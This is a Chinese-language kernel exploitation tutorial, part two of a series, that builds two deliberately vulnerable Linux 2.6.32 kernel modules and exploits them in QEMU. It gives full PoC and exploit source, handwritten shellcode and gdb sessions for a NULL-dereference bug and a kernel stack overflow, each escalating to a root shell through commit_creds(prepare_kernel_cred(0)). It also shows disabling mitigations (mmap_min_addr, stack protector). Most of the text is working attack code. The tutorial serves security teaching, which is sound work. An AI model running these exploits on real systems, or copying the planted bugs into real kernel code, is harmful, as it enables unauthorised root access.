Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

【系列分享】Linux 内核漏洞利用教程(二):两个Demo

0
0
【系列分享】linux 内核漏洞利用教程(二):两个Demo

2017-04-06 10:10:09
来源:安全客 作者:o0xmuhe

阅读:299次
点赞(0)
收藏





【系列分享】Linux 内核漏洞利用教程(二):两个Demo

作者:o0xmuhe

预估稿费:400RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


传送门

【系列分享】Linux 内核漏洞利用教程(一):环境配置


0x00: 前言

本篇文章将介绍两种简单的kernel exploit姿势,分别是:

NULL Dereference

Kernel Stack Overflow


0x01: NULL Dereference

1. 介绍

古老的Linux NULL pointer dereference exploit,映射0地址分配shellcode运行

2. 漏洞代码

#include<linux/init.h> #include<linux/module.h> #include<linux/kernel.h> #include<linux/proc_fs.h> void(*my_funptr)(void); intbug1_write(structfile*file,constchar*buf,unsignedlonglen) { my_funptr(); returnlen; } staticint__initnull_dereference_init(void) { printk(KERN_ALERT"null_dereferencedriverinit!\n"); create_proc_entry("bug1",0666,0)->write_proc=bug1_write; return0; } staticvoid__exitnull_dereference_exit(void) { printk(KERN_ALERT"null_dereferencedriverexit\n"); } module_init(null_dereference_init); module_exit(null_dereference_exit); Makefile如下 obj-m:=null_dereference.o KERNELDR:=~/linux_kernel/linux-2.6.32.1/linux-2.6.32.1/ PWD:=$(shellpwd) modules: $(MAKE)-C$(KERNELDR)M=$(PWD)modules moduels_install: $(MAKE)-C$(KERNELDR)M=$(PWD)modules_install clean: rm-rf*.o*~core.depend.*.cmd*.ko*.mod.c.tmp_versions

可以看到,vuln code中my_funptr函数指针指向不定,可以劫持之后代码执行。

把驱动编译好,然后把*.ko文件丢进busybox那个文件系统中去,方便后面挂载使用。

3. PoC

#include<sys/types.h> #include<sys/stat.h> #include<fcntl.h> #include<stdio.h> #include<stdlib.h> #include<sys/mman.h> charpayload[]="\xe9\xea\xbe\xad\x0b";//jmp0xbadbeef intmain(){ mmap(0,4096,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS,-1,0); memcpy(0,payload,sizeof(payload)); intfd=open("/proc/bug1",O_WRONLY); write(fd,"muhe",4); return0; } #muhe@ubuntuin~/linux_kernel/linux-2.6.32.1/linux-2.6.32.1/null_dereference[4:17:06] $gcc-staticpoc.c-opoc poc.c:Infunction‘main’: poc.c:11:5:warning:incompatibleimplicitdeclarationofbuilt-infunction‘memcpy’[enabledbydefault] memcpy(0,payload,sizeof(payload)); ^ poc.c:11:5:warning:nullargumentwherenon-nullrequired(argument1)[-Wnonnull] #muhe@ubuntuin~/linux_kernel/linux-2.6.32.1/linux-2.6.32.1/null_dereference[4:17:51] $cppoc../../busybox-1.19.4/_install/usr

然后qemu启动系统,启动的时候按下ctrl+alt+2


【系列分享】Linux 内核漏洞利用教程(二):两个Demo

然后gdb去连接

#muhe@ubuntuin~/linux_kernel/linux-2.6.32.1/linux-2.6.32.1[4:12:41] $gdbvmlinux gdb-peda$targetremote:1234 Remotedebuggingusing:1234 Warning:notrunningortargetisremote current_thread_info()at/home/muhe/linux_kernel/linux-2.6.32.1/linux-2.6.32.1/arch/x86/include/asm/thread_info.h:186 186(current_stack_pointer&~(THREAD_SIZE-1)); gdb-peda$b*0x0 Breakpoint1at0x0 gdb-peda$c Continuing.

然后qemu中ctrl+alt+1切换回去,然后进入usr目录,挂载驱动后运行poc程序。


【系列分享】Linux 内核漏洞利用教程(二):两个Demo

gdb里反汇编查看当前执行的指令


【系列分享】Linux 内核漏洞利用教程(二):两个Demo

4. exploit

1.思路

给当前进程赋予root权限

commit_creds(prepare_kernel_cred(0));

下面取得commit_creds和prepare_kernel_cred地址:

/#grepcommit_creds/proc/kallsyms c11b7bc0Tsecurity_commit_creds c15f8ed0r__ksymtab_commit_creds c16024d0r__kcrctab_commit_creds c1609215r__kstrtab_commit_creds /#grepprepare_kernel_cred/proc/kallsyms c1067fc0Tprepare_kernel_cred c15f8eb0r__ksymtab_prepare_kernel_cred c16024c0r__kcrctab_prepare_kernel_cred c16091d9r__kstrtab_prepare_kernel_cred

2.编写shellcode

xor%eax,%eax call0xc1067fc0 call0xc1067e20 ret $gcc-opayloadpayload.s-nostdlib-Ttext=0 $objdump-dpayload payload:fileformatelf32-i386 Disassemblyofsection.text: 00000000<__bss_start-0x100d>: 0:31c0xor%eax,%eax 2:e8b97f06c1callc1067fc0<_end+0xc1066fb0> 7:e8147e06c1callc1067e20<_end+0xc1066e10> c:c3ret

得到shellcode

shellcode="\x31\xc0\xe8\xb9\x7f\x06\xc1\xe8\x14\x7e\x06\xc1\xc3"

我们需要分配0地址空间然后放入shellcode,然后jmp过去执行shellcode,使当前进程有root权限,然后执行一个system("/bin/sh");在程序返回用户态之后拿到一个root的shell。

3. exploit

$catexploit.c #include<sys/types.h> #include<sys/stat.h> #include<fcntl.h> #include<stdio.h> #include<stdlib.h> #include<sys/mman.h> charpayload[]="\x31\xc0\xe8\xb9\x7f\x06\xc1\xe8\x14\x7e\x06\xc1\xc3"; intmain() { mmap(0,4096,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS,-1,0); memcpy(0,payload,sizeof(payload)); intfd=open("/proc/bug1",O_WRONLY); write(fd,"muhe",4); system("/bin/sh");//getrootshell return0; }

5. get root shell

然后新建用户去测试exploit。


【系列分享】Linux 内核漏洞利用教程(二):两个Demo

但是得到报错:


【系列分享】Linux 内核漏洞利用教程(二):两个Demo

这是因为,2.6.32内核已经使用mmap_min_addr作为缓解措施mmap_min_addr为4096,需要设置下mmap_min_addr。

#sysctl-wvm.mmap_min_addr="0"

设置之后重新运行exploit


【系列分享】Linux 内核漏洞利用教程(二):两个Demo

成功拿到root shell


0x02 : Kernel Stack Overflow

1. 介绍

和用户态的栈溢出原理一样,拷贝、拼接字符串的时候未作长度检查,导致覆盖栈上保存的返回地址,只后可以劫持程序流程,从而实现代码执行的效果。只不过这是在内核空间,可以直接用来提权。

2. 漏洞代码

#include<linux/init.h> #include<linux/module.h> #include<linux/kernel.h> #include<linux/proc_fs.h> intbug2_write(structfile*file,constchar*buf,unsignedlonglen) { charlocalbuf[8]; memcpy(localbuf,buf,len); returnlen; } staticint__initstack_smashing_init(void) { printk(KERN_ALERT"stack_smashingdriverinit!\n"); create_proc_entry("bug2",0666,0)->write_proc=bug2_write; return0; } staticvoid__exitstack_smashing_exit(void) { printk(KERN_ALERT"stack_smashingdriverexit!\n"); } module_init(stack_smashing_init); module_exit(stack_smashing_exit); obj-m:=stack_smashing.o KERNELDR:=~/linux_kernel/linux-2.6.32.1/linux-2.6.32.1/ PWD:=$(shellpwd) modules: $(MAKE)-C$(KERNELDR)M=$(PWD)modules moduels_install: $(MAKE)-C$(KERNELDR)M=$(PWD)modules_install clean: rm-rf*.o*~core.depend.*.cmd*.ko*.mod.c.tmp_versions

3. PoC

poc代码如下:

#include<stdio.h> #include<stdlib.h> #include<sys/stat.h> #include<fcntl.h> intmain(){ charbuf[24]={0}; memset(buf,"A",24); *((void**)(buf+20))=0x42424242; intfd=open("/proc/bug2",O_WRONLY); write(fd,buf,sizeof(buf)); }

可以看到payload结构很简单,直接就是buffer+eip的结构。按照第一篇文章中的步骤,编译poc,然后构建文件系统,qemu起内核后,运行poc。


【系列分享】Linux 内核漏洞利用教程(二):两个Demo

这里就有个问题,我们编译的kernel默认开启canary的,如果直接这么去运行poc,会直接kernel panic,无法利用,所以我们需要关闭canary选项,重新编译一个内核。

编辑.config文件,注释掉CONFIG_CC_STACKPROTECTOR这一行,然后重新编译内核。


【系列分享】Linux 内核漏洞利用教程(二):两个Demo

注释掉之后,重新编译内核,再起内核,跑我们的PoC。


【系列分享】Linux 内核漏洞利用教程(二):两个Demo

这个时候发现,eip被覆盖成了0x42424242 。

1 调试注意事项

模块在编译后按照上篇文章的方法,丢进busybox,然后qemu起内核然后调试。

由于模块并没有作为vmlinux的一部分传给gdb,因此必须通过某种方法把模块信息告知gdb,可以通过add-symbol-file命令把模块的详细信息告知gdb,由于模块也是一个elf文件,需要知道模块的.text、.bss、.data节区地址并通过add-symbol-file指定。

模块stack_smashing.ko的这三个信息分别保存在/sys/module/stack_smashing/sections/.text、/sys/module/stack_smashing/sections/.bss和/sys/module/stack_smashing/sections/.data,由于stack_smashing模块没有bss、data节区所以只需要指定text即可。

2 调试过程

qemu 中设置好gdbserver后,找到模块的.text段的地址grep 0 /sys/module/stack_smashing/sections/.text。

然后gdb里:

$gdbvmlinux .... .... gdb-peda$targetremote:1234 Remotedebuggingusing:1234 Warning:notrunningortargetisremote current_thread_info()at/home/muhe/linux_kernel/linux-2.6.32.1/linux-2.6.32.1/arch/x86/include/asm/thread_info.h:186 186(current_stack_pointer&~(THREAD_SIZE-1)); gdb-peda$add-symbol-file./stack_smashing/stack_smashing.ko0xc8830000 addsymboltablefromfile"./stack_smashing/stack_smashing.ko"at .text_addr=0xc8830000 Readingsymbolsfrom./stack_smashing/stack_smashing.ko...done. gdb-peda$bbug2_write Breakpoint1at0xc8830000:file/home/muhe/linux_kernel/linux-2.6.32.1/linux-2.6.32.1/stack_smashing/stack_smashing.c,line7. gdb-peda$c Continuing.

运行poc之后

gdb-peda$x/20i$pc =>0xc8830000<bug2_write>:pushebp 0xc8830001<bug2_write+1>:movebp,esp 0xc8830003<bug2_write+3>:pushedi 0xc8830004<bug2_write+4>:pushesi 0xc8830005<bug2_write+5>:subesp,0x8 0xc8830008<bug2_write+8>:nopDWORDPTR[eax+eax*1+0x0] 0xc883000d<bug2_write+13>:moveax,ecx 0xc883000f<bug2_write+15>:movesi,edx 0xc8830011<bug2_write+17>:shrecx,0x2 0xc8830014<bug2_write+20>:leaedi,[ebp-0x10] 0xc8830017<bug2_write+23>:repmovsDWORDPTRes:[edi],DWORDPTRds:[esi] 0xc8830019<bug2_write+25>:movecx,eax 0xc883001b<bug2_write+27>:andecx,0x3 0xc883001e<bug2_write+30>:je0xc8830022<bug2_write+34> 0xc8830020<bug2_write+32>:repmovsBYTEPTRes:[edi],BYTEPTRds:[esi] 0xc8830022<bug2_write+34>:addesp,0x8 0xc8830025<bug2_write+37>:popesi 0xc8830026<bug2_write+38>:popedi 0xc8830027<bug2_write+39>:popebp 0xc8830028<bug2_write+40>:ret gdb-peda$b*0xc8830028 Breakpoint2at0xc8830028:file/home/muhe/linux_kernel/linux-2.6.32.1/linux-2.6.32.1/stack_smashing/stack_smashing.c,line12. gdb-peda$c Continuing. Warning:notrunningortargetisremote Breakpoint2,0xc8830028inbug2_write(file=<optimizedout>,buf=0xbf99da64'H'<repeats20times>,"BBBB",len=0x18) at/home/muhe/linux_kernel/linux-2.6.32.1/linux-2.6.32.1/stack_smashing/stack_smashing.c:12 12} gdb-peda$x/10i$pc =>0xc8830028<bug2_write+40>:ret 0xc8830029:pushebp 0xc883002a:movebp,esp 0xc883002c:pusheax 0xc883002d:call0xc10038d8<mcount> 0xc8830032:movDWORDPTR[esp],0xc8830084 0xc8830039:call0xc142b9bc<printk> 0xc883003e:leave 0xc883003f:ret 0xc8830040:addal,0x0 gdb-peda$ni Warning:notrunningortargetisremote 0x42424242in??() gdb-peda$

发现eip被覆盖成了预期的值。

4 exploit

1. 思路

拿到shell的思路还是利用commit_creds(prepare_kernel_cred(0)),然后返回到用户模式,返回到用户模式执行iret指令

关于iret指令:

当使用IRET指令返回到相同保护级别的任务时,IRET会从堆栈弹出代码段选择子及指令指针分别到CS与IP寄存器,并弹出标志寄存器内容到EFLAGS寄存器。

当使用IRET指令返回到一个不同的保护级别时,IRET不仅会从堆栈弹出以上内容,还会弹出堆栈段选择子及堆栈指针分别到SS与SP寄存器。

栈上保存了trap frame,返回到用户模式的时候,恢复信息从以下得得结构读取

structtrap_frame { void*eip;//instructionpointer+0 uint32_tcs;//codesegment+4 uint32_teflags;//CPUflags+8 void*esp;//stackpointer+12 uint32_tss;//stacksegment+16 }__attribute__((packed));

那么get root shell的思路就是:先去执行commit_creds(prepare_kernel_cred(0)),然后返回到用户模式,执行起shell,也就是说先把当前进程权限提到root,然后执行起shell操作,那么我们就可以得到一个root的shell了。

需要的两个函数地址如下:


【系列分享】Linux 内核漏洞利用教程(二):两个Demo

2. 编写exploit

exploit 代码如下

#include<stdio.h> #include<stdlib.h> #include<unistd.h> #include<sys/stat.h> #include<fcntl.h> #include<string.h> #include<stdint.h> structtrap_frame{ void*eip; uint32_tcs; uint32_teflags; void*esp; uint32_tss; }__attribute__((packed)); structtrap_frametf; voidget_shell(void){ execl("/bin/sh","sh",NULL); } voidinit_tf_work(void){ asm("pushl%cs;popltf+4;"//setcs "pushfl;popltf+8;"//seteflags "pushl%esp;popltf+12;" "pushl%ss;popltf+16;"); tf.eip=&get_shell; tf.esp-=1024; } #defineKERNCALL__attribute__((regparm(3))) void*(*prepare_kernel_cred)(void*)KERNCALL=(void*)0xc1067b20; void(*commit_creds)(void*)KERNCALL=(void*)0xc1067980; voidpayload(void){ //payloadhere commit_creds(prepare_kernel_cred(0)); asm("mov$tf,%esp;" "iret;"); } intmain(void){ charbuf[24]; memset(buf,0x41,24); *((void**)(buf+20))=&payload;//seteiptopayload init_tf_work(); write(1,buf,sizeof(buf)); intfd=open("/proc/bug2",O_WRONLY); //exploit write(fd,buf,sizeof(buf)); return0; }

3. 调试exploit

先要做一些准备工作:

确定模块代码节地址


【系列分享】Linux 内核漏洞利用教程(二):两个Demo

gdb设置


【系列分享】Linux 内核漏洞利用教程(二):两个Demo

然后就可以返回到系统中,运行exploit程序了。

对ret指令下断,然后c过去,这时候单步的话,应该就ret到我们payload的地址了。


【系列分享】Linux 内核漏洞利用教程(二):两个Demo

查看一下栈顶的情况:


【系列分享】Linux 内核漏洞利用教程(二):两个Demo

接下来,我们单步,直行进入我们的payload。


【系列分享】Linux 内核漏洞利用教程(二):两个Demo

这里可以看到先去执行commit_creds(prepare_kernel_cred(0))了。


【系列分享】Linux 内核漏洞利用教程(二):两个Demo

我们主要关注iret的时候:


【系列分享】Linux 内核漏洞利用教程(二):两个Demo

红色部分就是我们伪造的tf结构啦!


【系列分享】Linux 内核漏洞利用教程(二):两个Demo

这边可以看到eip指向是我们用来起shell的函数,这样看来整个payload结构是没什么问题的。

5 get root shell

下面我们添加用户,然后测试exploit:


【系列分享】Linux 内核漏洞利用教程(二):两个Demo

经测试,可以直接拿到一个root的shell,提权成功~


0x03:引用与参考

0x9k 's doc

linux_kernel_exploit

mmap_min_addr - Debian Wiki


传送门

【系列分享】Linux 内核漏洞利用教程(一):环境配置



【系列分享】Linux 内核漏洞利用教程(二):两个Demo
【系列分享】Linux 内核漏洞利用教程(二):两个Demo
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/3702.html

Viewing all articles
Browse latest Browse all 12749